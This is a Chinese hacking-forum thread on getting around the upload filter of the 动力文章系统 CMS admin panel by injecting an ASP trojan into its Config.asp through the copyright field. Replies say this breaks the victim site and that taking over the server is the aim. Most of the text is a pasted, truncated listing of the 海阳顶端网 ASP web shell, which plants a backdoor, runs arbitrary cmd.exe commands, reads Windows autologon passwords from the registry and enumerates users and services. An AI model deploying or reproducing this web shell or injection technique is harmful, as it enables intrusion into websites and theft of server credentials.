信息来源：火狐论坛

在入侵动力文章系统，成功进入后台后，也许你会发现，它的后台没有上传ASP的功能，因为动力文章系统的文件过滤是直接写在代码里的。我介绍一种突破这种限制的方法。虽然它禁止了上传ASP，但是我们可以直接写代码啊！
推荐版权信息输入框，框框大比较好写一点^_^。注意，动力文章系统是将这里写入的代码以字符串的形式写道Config.asp里的，所以我们直接复制ASP木马的代码是行不通的。我们需要修改一下代码，使其符合ASP语法就可以了。注意：这种方法只有一次，写入后config.asp就会改变，整个动力文章系统就不能访问了。所以你最好先在自己的电脑里试好了再到网上用。
如果你不会ASP的话，只有用现成的改了。听一个朋友说用海洋3.1写入插件改挺容易，只要把前后的<%  %>去掉，再在前后加上个双引号就行了。写入成功后，在浏览器里输入inc/config.asp?alien=1就可以得到一个可写入文件的ASP页面了。

听一个朋友说用海洋3.1写入插件改挺容易
老大们能不能把具体的代码写出来呢？
本人得到一个动力3.0正式版的管理员权限，但后台无论怎么都无法上传.asp文件，谁知道具体怎么做指点指点呀！

修改前必须做好备份，否则的话有的你后悔了。哈哈。

呵呵。写马进去只有一次机会,成功,失败,都会让他站首页挂掉的,但是入侵服务器才是最终目的.

经过测试成功

[code]"
&#39;   Option Explicit

   Dim theAct, sTime, aspPath, pageName, strBackDoor, fsoX, saX, wsX

   sTime = Timer
   theAct= Request("theAct")
   pageName = Request("pageName")
   aspPath = Replace(Server.MapPath(".") & "\~86.tmp", "\\", "\") &#39;&#39;系统临时文件
   strBackDoor = "<script language=vbscript runat=server>"
   strBackDoor = strBackDoor & "If Request(""" & clientPassword & """)<>"""" Then Session(""#"")=Request(""" & clientPassword & """)" & VbNewLine
   strBackDoor = strBackDoor & "If Session(""#"")<>"""" Then Execute(Session(""#""))"
   strBackDoor = strBackDoor & "</script>"                   &#39;&#39;插入的后门代码
   
   Const m = "HYTop2006"              &#39;&#39;自定义Session前缀
   Const showLogin = ""              &#39;&#39;为空直接显示登录界面,否则用"?pageName=它的值"来进行访问
   Const clientPassword = "#"           &#39;&#39;插入后门的密码,如果要插入数据库中,只能为一个字符.
   Const dbSelectNumber = 10           &#39;&#39;数据库操作时默认从表中选取的数据量
   Const isDebugMode = False           &#39;&#39;是否调试模式
   Const myName = "芝麻开门,偶是老马"        &#39;&#39;登录页按扭上的文字
   Const notdownloadsExists = False      &#39;&#39;原ACCESS数据库中是否存在notdownloadsExists表
   Const userPassword = "123456"      &#39;&#39;管理密码
   Const myCmdDotExeFile = "command.com"   &#39;&#39;定义cmd.exe文件的文件名
   Const strJsCloseMe = "<input type=button value=&#39; 关闭 &#39; onclick=&#39;window.close();&#39;>"

   Sub createIt(fsoX, saX, wsX)
      If isDebugMode = False Then
        On Error Resume Next
      End If

      Set fsoX = Server.CreateObject("Scripting.FileSystemObject")
      If IsEmpty(fsoX) And (pageName = "FsoFileExplorer" Or theAct = "fsoSearch") Then
        Set fsoX = fso
      End If

      Set saX = Server.CreateObject("Shell.Application")
      If IsEmpty(saX) And (pageName = "AppFileExplorer" Or pageName = "SaCmdRun" Or theAct = "saSearch") Then
        Set saX = sa
      End If

      Set wsX = Server.CreateObject("WScript.Shell")
      If IsEmpty(wsX) And (pageName = "WsCmdRun" Or theAct = "getTerminalInfo" Or theAct = "readReg") Then
        Set wsX = ws
      End If

      If Err Then
        Err.Clear
      End If
   End Sub

   Sub chkErr(Err)
      If Err Then
        echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"
        echo "<br/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
        echo "<hr>Powered By Marcos 2005.02</font>"
        Err.Clear
        Response.End
      End If
   End Sub
   
   Sub echo(str)
      Response.Write(str)
   End Sub
   
   Sub isIn()
      If pageName <> "" And PageName <> "login" And PageName <> showLogin Then
        If Session(m & "userPassword") <> userPassword Then
           Response.End
        End If
      End If
   End Sub
   
   Sub showTitle(str)
      echo "<title>" & str & " - 海阳顶端网ASP木马2006 - By Marcos & LCX</title>" & vbNewLine
      echo "<meta http-equiv=&#39;Content-Type&#39; content=&#39;text/html; charset=gb2312&#39;>" & vbNewLine
      echo "<!--" & vbNewLine
      echo "=衷心感谢=====================================================" & vbNewLine
      echo "网辰在线、化境编程、桂林老兵、冰狐浪子、蓝屏、小路、wangyong、" & vbNewLine
      echo "czy、allen、lcx、Marcos、kEvin1986、myth对海阳顶端网asp木马所" & vbNewLine
      echo "做的一切努力！" & vbNewLine
      echo "==============================================================" & vbNewLine & vbNewLine
      echo "=本版关于=====================================================" & vbNewLine
      echo "程序编写: Marcos" & vbNewLine
      echo "联系方式: QQ26696782" & vbNewLine
      echo "发布时间: 2005.02.28" & vbNewLine
      echo "出 品 人: Allen, lcx, Marcos" & vbNewLine
      echo "官方发布: WWW.HIDIDI.NET(2) WWW.HAIYANGTOP.NET(1)" & vbNewLine
      echo "==============================================================" & vbNewLine
      echo "-->" & vbNewLine
      PageOther()
   End Sub
   
   Function fixNull(str)
      If IsNull(str) Then
        str = " "
      End If
      fixNull = str
   End Function
   
   Function encode(str)
      str = Server.HTMLEncode(str)
      str = Replace(str, vbNewLine, "<br>")
      str = Replace(str, " ", " ")
      str = Replace(str, "   ", "   ")
      encode = str
   End Function
   
   Function getTheSize(theSize)
      If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G"
      If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M"
      If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K"
      If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B"
   End Function
   
   Function HtmlEncode(str)
      If isNull(str) Then
        Exit Function
      End If
      HtmlEncode = Server.HTMLEncode(str)
   End Function
   
   Function UrlEncode(str)
      If isNull(str) Then
        Exit Function
      End If
      UrlEncode = Server.UrlEncode(str)
   End Function
   
   Sub redirectTo(strUrl)
      Response.Redirect(Request.ServerVariables("URL") & strUrl)
   End Sub

   Function trimThePath(strPath)
      If Right(strPath, 1) = "\" And Len(strPath) > 3 Then
        strPath = Left(strPath, Len(strPath) - 1)
      End If
      trimThePath = strPath
   End Function

   Sub alertThenClose(strInfo)
      Response.Write "<script>alert(""" & strInfo & """);window.close();</script>"
   End Sub

   Sub showErr(str)
      Dim i, arrayStr
      str = Server.HtmlEncode(str)
      arrayStr = Split(str, "$$")
&#39;      Response.Clear
      echo "<font size=2>"
      echo "出错信息:<br/><br/>"
      For i = 0 To UBound(arrayStr)
        echo "  " & (i + 1) & ". " & arrayStr(i) & "<br/>"
      Next
      echo "</font>"
      Response.End
   End Sub

   Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
   Rem    下面是程序模块选择部分
   Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


   isIn()
   
   Call createIt(fsoX, saX, wsX)

   Select Case pageName
      Case showLogin, "login"
        PageLogin()
      Case "PageList"
        PageList()
      Case "objOnSrv"
        PageObjOnSrv()
      Case "ServiceList"
        PageServiceList()
      Case "userList"
        PageUserList()
      Case "CSInfo"
        PageCSInfo()
      Case "infoAboutSrv"
        PageInfoAboutSrv()
      Case "AppFileExplorer"
        PageAppFileExplorer()
      Case "SaCmdRun"
        PageSaCmdRun()
      Case "WsCmdRun"
        PageWsCmdRun()
      Case "FsoFileExplorer"
        PageFsoFileExplorer()
      Case "MsDataBase"
        PageMsDataBase()
      Case "OtherTools"
        PageOtherTools()
      Case "TxtSearcher"
        PageTxtSearcher()
      Case "PageAddToMdb"
        PageAddToMdb()
   End Select
   
   Set saX = Nothing
   Set wsX = Nothing
   Set fsoX = Nothing

   Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
   Rem    下面是各独立功能模块
   Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

   Sub PageList()
      showTitle("功能模块列表")
      echo "<base target=_blank>海阳顶端网ASP木马@2006α<hr/><ol>"
      echo "<li><a href=&#39;?pageName=ServiceList&#39;>系统服务信息</a></li><br/>"
      echo "<li><a href=&#39;?pageName=infoAboutSrv&#39;>服务器相关数据</a><br/>"
      echo "(<a href=&#39;?pageName=infoAboutSrv&theAct=getSrvInfo&#39;>系统参数</a>,"
      echo "<a href=&#39;?pageName=infoAboutSrv&theAct=getSrvDrvInfo&#39;>系统磁盘</a>,"
      echo "<a href=&#39;?pageName=infoAboutSrv&theAct=getSiteRootInfo&#39;>站点文件夹</a>,"
      echo "<a href=&#39;?pageName=infoAboutSrv&theAct=getTerminalInfo&#39;>终端端口&自动登录)</a></li><br/>"
      echo "<li><a href=&#39;?pageName=objOnSrv&#39;>服务器组件探针</a></li><br/>"
      echo "<li><a href=&#39;?pageName=userList&#39;>系统用户及用户组信息</a></li><br/>"
      echo "<li><a href=&#39;?pageName=CSInfo&#39;>客户端服务器交互信息</a></li><br/>"
      echo "<li><a href=&#39;?pageName=WsCmdRun&#39;>WScript.Shell程序运行器cmd.asp</a></li><br/>"
      echo "<li><a href=&#39;?pageName=SaCmdRun&#39;>Shell.Application程序运行器</a></li><br/>"
      echo "<li><a href=&#39;?pageName=FsoFileExplorer&#39;>FSO文件浏览操作器</a></li><br/>"
      echo "<li><a href=&#39;?pageName=AppFileExplorer&#39;>Shell.Application文件浏览操作器</a></li><br/>"
      echo "<li><a href=&#39;?pageName=MsDataBase&#39;>微软数据库查看/操作器</a></li><br/>"
      echo "<li><a href=&#39;?pageName=TxtSearcher&#39;>文本文件搜索器</a></li><br/>"
      echo "<li><a href=&#39;?pageName=OtherTools&#39;>一些零碎的小东西</a></li><br/>"
      echo "<li><a href=&#39;?pageName=PageAddToMdb&#39;>文件夹打包/解开器</a></li><br/>"
      echo "</ol><hr/>Powered By Marcos 2005.02"
   End Sub

   Sub PageServiceList()
      Dim sa, objService, objComputer
      
      showTitle("系统服务信息查看")
      Set objComputer = GetObject("WinNT://.")
      Set sa = Server.CreateObject("Shell.Application")
      objComputer.Filter = Array("Service")
      
      echo "<ol>"
      If isDebugMode = False Then
        On Error Resume Next
      End If
      For Each objService In objComputer
        echo "<li>" & objService.Name & "</li><hr/>"
        echo "<ol>服务名称: " & objService.Name & "<br/>"
        echo "显示名称: " & objService.DisplayName & "<br/>"
        echo "启动类型: " & getStartType(objService.StartType) & "<br/>"
        echo "运行状态: " & sa.IsServiceRunning(objService.Name) & "<br/>"
&#39;        echo "当前状态: " & objService.Status & "<br/>"
&#39;        echo "服务类型: " & objService.ServiceType & "<br/>"
        echo "登录身份: " & objService.ServiceAccountName & "<br/>"
        echo "服务描述: " & getServiceDsc(objService.Name) & "<br/>"
        echo "文件路径及参数: " & objService.Path
        echo "</ol><hr/>"
      Next
      echo "</ol><hr/>Powered By Marcos 2005.02"
      
      Set sa = Nothing
   End Sub

   Function getServiceDsc(strService)
      Dim ws
      Set ws = Server.CreateObject("WScript.Shell")
      getServiceDsc = ws.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\" & strService & "\Description")
      Set ws = Nothing
   End Function

   Function getStartType(num)
      Select Case num
        Case 2
           getStartType = "自动"
        Case 3
           getStartType = "手动"
        Case 4
           getStartType = "已禁用"
      End Select
   End Function

   Sub PageInfoAboutSrv()
      Dim theAct
      theAct = Request("theAct")
      
      showTitle("服务器相关数据")
      
      Select Case theAct
        Case ""
           getSrvInfo()
           getSrvDrvInfo()
           getSiteRootInfo()
           getTerminalInfo()
        Case "getSrvInfo"
           getSrvInfo()
        Case "getSrvDrvInfo"
           getSrvDrvInfo()
        Case "getSiteRootInfo"
           getSiteRootInfo()
        Case "getTerminalInfo"
           getTerminalInfo()
      End Select
      
      echo "<hr/>Powered By Marcos 2005.02"
   End Sub

   Sub getSrvInfo()
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim i, sa, objWshSysEnv, aryExEnvList, strExEnvList, intCpuNum, strCpuInfo, strOS
      Set sa = Server.CreateObject("Shell.Application")
      strExEnvList = "SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _
                "PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION"
      aryExEnvList = Split(strExEnvList, "$")
      
      Set objWshSysEnv = wsX.Environment("SYSTEM")
      chkErr(Err)

      intCpuNum = Request.ServerVariables("NUMBER_OF_PROCESSORS")
      If IsNull(intCpuNum) Or intCpuNum = "" Then
        intCpuNum = objWshSysEnv("NUMBER_OF_PROCESSORS")
      End If
      strOS = Request.ServerVariables("OS")
      If IsNull(strOS) Or strOS = "" Then
        strOS = objWshSysEnv("OS")
        strOs = strOs & "(有可能是 Windows2003 哦)"
      End If
      strCpuInfo = objWshSysEnv("PROCESSOR_IDENTIFIER")

      echo "<a href=javascript:showHideMe(srvInf);>服务器相关参数:</a>"
      echo "<ol id=srvInf><hr/>"
      echo "<li>服务器名: " & Request.ServerVariables("SERVER_NAME") & "</li>"
      echo "<li>服务器IP: " & Request.ServerVariables("LOCAL_ADDR") & "</li>"
      echo "<li>服务端口: " & Request.ServerVariables("SERVER_PORT") & "</li>"
      echo "<li>服务器内存: " & getTheSize(sa.GetSystemInformation("PhysicalMemoryInstalled")) & "</li>"
      echo "<li>服务器时间: " & Now & "</li>"
      echo "<li>服务器软件: " & Request.ServerVariables("SERVER_SOFTWARE") & "</li>"
      echo "<li>脚本超时时间: " & Server.ScriptTimeout & "</li>"
      echo "<li>服务器CPU数量: " & intCpuNum & "</li>"
      echo "<li>服务器CPU详情: " & strCpuInfo & "</li>"
      echo "<li>服务器操作系统: " & strOS & "</li>"
      echo "<li>服务器解译引擎: " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion & "</li>"
      echo "<li>本文件实际路径: " & Request.ServerVariables("PATH_TRANSLATED") & "</li>"
      echo "<hr/></ol>"
      
      echo "<br/><a href=javascript:showHideMe(srvEnvInf);>服务器相关参数:</a>"
      echo "<ol id=srvEnvInf><hr/>"
      For i = 0 To UBound(aryExEnvList)
        echo "<li>" & aryExEnvList(i) & ": " & wsX.ExpandEnvironmentStrings("%" & aryExEnvList(i) & "%") & "</li>"
      Next
      echo "<hr/></ol>"
      
      Set sa = Nothing
      Set objWshSysEnv = Nothing
   End Sub

   Sub getSrvDrvInfo()
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim objTheDrive
      echo "<br/><a href=javascript:showHideMe(srvDriveInf);>服务器磁盘信息:</a>"
      echo "<ol id=srvDriveInf><hr/>"
      echo "<div id=&#39;fsoDriveList&#39;>"
      echo "<span>盘符</span><span>类型</span><span>卷标</span><span>文件系统</span><span>可用空间</span><span>总空间</span><br/>"
      For Each objTheDrive In fsoX.Drives
        echo "<span>" & objTheDrive.DriveLetter & "</span>"
        echo "<span>" & getDriveType(objTheDrive.DriveType) & "</span>"
        If UCase(objTheDrive.DriveLetter) = "A" Then
           echo "<br/>"
         Else
           echo "<span>" & objTheDrive.VolumeName & "</span>"
           echo "<span>" & objTheDrive.FileSystem & "</span>"
           echo "<span>" & getTheSize(objTheDrive.FreeSpace) & "</span>"
           echo "<span>" & getTheSize(objTheDrive.TotalSize) & "</span><br/>"
        End If
        If Err Then
           Err.Clear
           echo "<br/>"
        End If
      Next
      echo "</div><hr/></ol>"
      Set objTheDrive = Nothing
   End Sub

   Sub getSiteRootInfo()
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim objTheFolder
      Set objTheFolder = fsoX.GetFolder(Server.MapPath("/"))
      echo "<br/><a href=javascript:showHideMe(siteRootInfo);>站点根目录信息:</a>"
      echo "<ol id=siteRootInfo><hr/>"
      echo "<li>物理路径: " & Server.MapPath("/") & "</li>"
      echo "<li>当前大小: " & getTheSize(objTheFolder.Size) & "</li>"
      echo "<li>文件数: " & objTheFolder.Files.Count & "</li>"
      echo "<li>文件夹数: " & objTheFolder.SubFolders.Count & "</li>"
      echo "<li>创建日期: " & objTheFolder.DateCreated & "</li>"
      echo "<li>最后访问日期: " & objTheFolder.DateLastAccessed & "</li>"
      echo "</ol>"
   End Sub

   Sub getTerminalInfo()
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim terminalPortPath, terminalPortKey, termPort
      Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
      Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword

      terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
      terminalPortKey = "PortNumber"
      termPort = wsX.RegRead(terminalPortPath & terminalPortKey)

      echo "终端服务端口及自动登录信息<hr/><ol>"
      If termPort = "" Or Err.Number <> 0 Then
        echo  "无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"
      Else
        echo  "当前终端服务端口: " & termPort & "<br/>"
      End If
      
      autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
      autoLoginEnableKey = "AutoAdminLogon"
      autoLoginUserKey = "DefaultUserName"
      autoLoginPassKey = "DefaultPassword"
      isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey)
      If isAutoLoginEnable = 0 Then
        echo  "系统自动登录功能未开启<br/>"
      Else
        autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey)
        echo  "自动登录的系统帐户: " & autoLoginUsername & "<br>"
        autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey)
        If Err Then
           Err.Clear
           echo  "False"
        End If
        echo  "自动登录的帐户密码: " & autoLoginPassword & "<br>"
      End If
      echo "</ol>"
   End Sub

   Function getDriveType(num)
      Select Case num
        Case 0
           getDriveType = "未知"
        Case 1
           getDriveType = "可移动磁盘"
        Case 2
           getDriveType = "本地硬盘"
        Case 3
           getDriveType = "网络磁盘"
        Case 4
           getDriveType = "CD-ROM"
        Case 5
           getDriveType = "RAM 磁盘"
      End Select
   End Function

   Sub PageObjOnSrv()
      Dim i, objTmp, txtObjInfo, strObjectList, strDscList
      txtObjInfo = Trim(Request("txtObjInfo"))

      strObjectList = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _
                "IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _
                "Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _
                "IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _
                "Scripting.FileSystemObject,Adodb.Stream,Shell.Application,WScript.Shell,Wscript.Network"
      strDscList = "广告轮换,浏览器信息,内容链接库,,,计数器,内容轮显,,权限检测,ADO 数据对象,SA-FileUp 文件上传,SoftArtisans 文件管理," & _
              "刘云峰的文件上传组件,ASPUpload 文件上传,Dimac 文件上传,Dimac JMail 邮件收发,虚拟 SMTP 发信,ASPemail 发信,ASPmail 发信,dkQmail 发信," & _
              "Geocel 发信,IISmail 发信,SmtpMail 发信,SA 的图像读写,Dimac 的图像读写组件," & _
              "FSO,Stream 流,,,"

      aryObjectList = Split(strObjectList, ",")
      aryDscList = Split(strDscList, ",")

      showTitle("服务器组件支持情况检测")

      echo "其他组件支持情况检测<br/>"
      echo "在下面的输入框中输入你要检测的组件的ProgId或ClassId。<br/>"
      echo "<form method=post>"
      echo "<input name=txtObjInfo size=30 value=""" & txtObjInfo & """><input name=theAct type=submit value=我要检测>"
      echo "</form>"

      If Request("theAct") = "我要检测" And txtObjInfo <> "" Then
        Call getObjInfo(txtObjInfo, "")
      End If
      
      echo "<hr/>"
      echo "<lu>组件名称 ┆ 支持及其它"

      For i = 0 To UBound(aryDscList)
        Call getObjInfo(aryObjectList(i), aryDscList(i))
      Next

      echo "</lu><hr/>Powered By Marcos 2005.02"      
   End Sub

   Sub getObjInfo(strObjInfo, strDscInfo)
      Dim objTmp

      If isDebugMode = False Then
        On Error Resume Next
      End If

      echo "<li> " & strObjInfo
      If strDscInfo <> "" Then
        echo " (" & strDscInfo & "组件)"
      End If

      echo " ┆ "

      Set objTmp = Server.CreateObject(strObjInfo)
      If Err <> -2147221005 Then
        echo "√ "
        echo "Version: " & objTmp.Version & "; "
        echo "About: " & objTmp.About
      Else
        echo "×"
      End If
      echo "</li>"

      If Err Then
        Err.Clear
      End If
      
      Set objTmp = Nothing
   End Sub

   Sub PageUserList()
      Dim objUser, objGroup, objComputer
      
      showTitle("系统用户及用户组信息查看")
      Set objComputer = GetObject("WinNT://.")
      objComputer.Filter = Array("User")
      echo "<a href=javascript:showHideMe(userList);>User:</a>"
      echo "<span id=userList><hr/>"
      For Each objUser in objComputer
        echo "<li>" & objUser.Name & "</li>"
        echo "<ol><hr/>"
        getUserInfo(objUser.Name)
        echo "<hr/></ol>"
      Next
      echo "</span>"
      
      echo "<br/><a href=javascript:showHideMe(userGroupList);>UserGroup:</a>"
      echo "<span id=userGroupList><hr/>"
      objComputer.Filter = Array("Group")
      For Each objGroup in objComputer
        echo "<li>" & objGroup.Name & "</li>"
        echo "<ol><hr/>" & objGroup.Description & "<hr/></ol>"
      Next
      echo "</span><hr/>Powered By Marcos 2005.02"

   End Sub

   Sub getUserInfo(strUser)
      Dim User, Flags
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Set User = GetObject("WinNT://./" & strUser & ",user")
      echo "描述: " & User.Description & "<br/>"
      echo "所属用户组: " & getItsGroup(strUser) & "<br/>"
      echo "密码已过期: " & cbool(User.Get("PasswordExpired")) & "<br/>"
      Flags = User.Get("UserFlags")
      echo "密码永不过期: " & cbool(Flags And &H10000) & "<br/>"
      echo "用户不能更改密码: " & cbool(Flags And &H00040) & "<br/>"
      echo "非全局帐号: " & cbool(Flags And &H100) & "<br/>"
      echo "密码的最小长度: " & User.PasswordMinimumLength & "<br/>"
      echo "是否要求有密码: " & User.PasswordRequired & "<br/>"
      echo "帐号停用中: " & User.AccountDisabled & "<br/>"
      echo "帐号锁定中: " & User.IsAccountLocked & "<br/>"
      echo "用户信息文件: " & User.Profile & "<br/>"
      echo "用户登录脚本: " & User.LoginScript & "<br/>"
      echo "用户Home目录: " & User.HomeDirectory & "<br/>"
      echo "用户Home目录根: " & User.Get("HomeDirDrive") & "<br/>"
      echo "帐号过期时间: " & User.AccountExpirationDate & "<br/>"
      echo "帐号失败登录次数: " & User.BadLoginCount & "<br/>"
      echo "帐号最后登录时间: " & User.LastLogin & "<br/>"
      echo "帐号最后注销时间: " & User.LastLogoff & "<br/>"
      For Each RegTime In User.LoginHours
        If RegTime < 255 Then
           Restrict = True
        End If
      Next
      echo "帐号已用时间: " & Restrict & "<br/>"
      Err.Clear
   End Sub

   Function getItsGroup(strUser)
      Dim objUser, objGroup
      Set objUser = GetObject("WinNT://./" & strUser & ",user")
      For Each objGroup in objUser.Groups
        getItsGroup = getItsGroup & " " & objGroup.Name
      Next
   End Function

   Sub PageCSInfo()
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim strKey, strVar, strVariable
      
      showTitle("客户端服务器交互信息")
      
      echo "<a href=javascript:showHideMe(ServerVariables);>ServerVariables:</a>"
      echo "<span id=ServerVariables style=&#39;display:none;&#39;>"
      For Each strVariable In Request.ServerVariables
        echo "<li>" & strVariable & ": " & Request.ServerVariables(strVariable) & "</li>"
      Next
      echo "</span>"
      
      echo "<br/><a href=javascript:showHideMe(Application);>Application:</a>"
      echo "<span id=Application style=&#39;display:none;&#39;>"
      For Each strVariable In Application.Contents
        echo "<li>" & strVariable & ": " & Encode(Application(strVariable)) & "</li>"
        If Err Then
           For Each strVar In Application.Contents(strVariable)
              echo "<li>" & strVariable & "(" & strVar & "): " & Encode(Application(strVariable)(strVar)) & "</li>"
           Next
           Err.Clear
        End If
      Next
      echo "</span>"

      echo "<br/><a href=javascript:showHideMe(Session);>Session:(ID" & Session.SessionId & ")</a>"
      echo "<span id=Session style=&#39;display:none;&#39;>"
      For Each strVariable In Session.Contents
        echo "<li>" & strVariable & ": " & Encode(Session(strVariable)) & "</li>"
      Next
      echo "</span>"
      
      echo "<br/><a href=javascript:showHideMe(Cookies);>Cookies:</a>"
      echo "<span id=Cookies style=&#39;display:none;&#39;>"
      For Each strVariable In Request.Cookies
        If Request.Cookies(strVariable).HasKeys Then
           For Each strKey In Request.Cookies(strVariable)
              echo "<li>" & strVariable & "(" & strKey & "): " & HtmlEncode(Request.Cookies(strVariable)(strKey)) & "</li>"
           Next
         Else
           echo "<li>" & strVariable & ": " & Encode(Request.Cookies(strVariable)) & "</li>"
        End If
      Next
      echo "</span><hr/>Powered By Marcos 2005.02"
      
   End Sub

   Sub PageWsCmdRun()
      Dim cmdStr, cmdPath, cmdResult
      cmdStr = Request("cmdStr")
      cmdPath = Request("cmdPath")
      
      showTitle("WScript.Shell命令行操作")
      
      If cmdPath = "" Then
        cmdPath = "cmd.exe"
      End If
      
      If cmdStr <> "" Then
        If InStr(LCase(cmdPath), "cmd.exe") > 0 Or InStr(LCase(cmdPath), LCase(myCmdDotExeFile)) > 0 Then
           cmdResult = doWsCmdRun(cmdPath & " /c " & cmdStr)
         Else
            If LCase(cmdPath) = "wscriptshell" Then
              cmdResult = doWsCmdRun(cmdStr)
            Else
              cmdResult = doWsCmdRun(cmdPath & " " & cmdStr)
           End If
        End If
      End If
      
      echo "<style>body{margin:8;}</style>"
      echo "<body onload=""document.forms[0].cmdStr.focus();document.forms[0].cmdResult.style.height=document.body.clientHeight-115;"">"
      echo "<form method=post onSubmit=&#39;this.Submit.disabled=true&#39;>"
      echo "路径: <input name=cmdPath type=text id=cmdPath value=""" & HtmlEncode(cmdPath) & """ size=50> "
      echo "<input type=button name=Submit2 value=使用WScript.Shell onClick=""this.form.cmdPath.value=&#39;WScriptShell&#39;;""><br/>"
      echo "命令/参数: <input name=cmdStr type=text id=cmdStr value=""" & HtmlEncode(cmdStr) & """ size=62> "
      echo "<input type=submit name=Submit value=&#39; 运行 &#39;><br/>"
      echo "<hr/>注: 请只在这里执行单步程序(程序执行开始到结束不需要人工干预),不然本程序会无法正常工作,并且在服务器生成一个不可结束的进程.<hr/>"
      echo "<textarea id=cmdResult style=&#39;width:100%;height:78%;&#39;>"
      echo HtmlEncode(cmdResult)
      echo "</textarea>"
      echo "</form>"
      echo "</body>"
   End Sub

   Function doWsCmdRun(cmdStr)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim fso, theFile
      Set fso = Server.CreateObject("Scripting.FileSystemObject")
      
      doWsCmdRun = wsX.Exec(cmdStr).StdOut.ReadAll()
      If Err Then
        echo Err.Description & "<br>"
        Err.Clear
        wsX.Run cmdStr & " > " & aspPath, 0, True
        Set theFile = fso.OpenTextFile(aspPath)
        doWsCmdRun = theFile.RealAll()
        If Err Then
           echo Err.Description & "<br>"
           Err.Clear
           doWsCmdRun = streamLoadFromFile(aspPath)
        End If
      End If
      
      Set fso = Nothing
   End Function

   Sub PageSaCmdRun()
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim theFile, thePath, theAct, appPath, appName, appArgs
      
      showTitle("Shell.Application命令行操作")
      
      theAct = Trim(Request("theAct"))
      appPath = Trim(Request("appPath"))
      thePath = Trim(Request("thePath"))
      appName = Trim(Request("appName"))
      appArgs = Trim(Request("appArgs"))

      If theAct = "doAct" Then
        If appName = "" Then
           appName = "cmd.exe"
        End If
      
        If appPath <> "" And Right(appPath, 1) <> "\" Then
           appPath = appPath & "\"
        End If
      
        If LCase(appName) = "cmd.exe" And appArgs <> "" Then
           If LCase(Left(appArgs, 2)) <> "/c" Then
              appArgs = "/c " & appArgs
           End If
        Else
           If LCase(appName) = "cmd.exe" And appArgs = "" Then
              appArgs = "/c "
           End If
        End If
        
        saX.ShellExecute appName, appArgs, appPath, "", 0
        chkErr(Err)
      End If
      
      If theAct = "readResult" Then
        Err.Clear
        echo encode(streamLoadFromFile(aspPath))
        If Err Then
           Set theFile = fsoX.OpenTextFile(aspPath)
           echo encode(theFile.ReadAll())
           Set theFile = Nothing
        End If
        Response.End
      End If
      
      echo "<style>body{margin:8;border:none;background-color:buttonface;}</style>"
      echo "<body onload=""document.forms[0].appArgs.focus();setTimeout(&#39;wsLoadIFrame();&#39;, 3900);"">"
      echo "<form method=post onSubmit=&#39;this.Submit.disabled=true&#39;>"
      echo "<input type=hidden name=theAct value=doAct>"
      echo "<input type=hidden name=aspPath value=""" & HtmlEncode(aspPath) & """>"
      echo "所在路径: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/>"
      echo "程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62> "
      echo "<input type=button name=Submit4 value=&#39; 回显 &#39; onClick=""this.form.appArgs.value+=&#39; > &#39;+this.form.aspPath.value;""><br/> "
      echo "命令参数: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62> "
      echo "<input type=submit name=Submit value=&#39; 运行 &#39;><br/>"
      echo "<hr/>注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.<br/>"
      echo "　  由于命令执行时间同网页刷新时间不同步,所以有些执行时间长的程序结果需要手动刷新下面的iframe才能得到.回显后记得删除临时文件.<hr/>"
      echo "<iframe id=cmdResult style=&#39;width:100%;height:78%;&#39;>"
      echo "</iframe>"
      echo "</form>"
      echo "</body>"
   End Sub

   Sub PageFsoFileExplorer()
      If isDebugMode = False Then
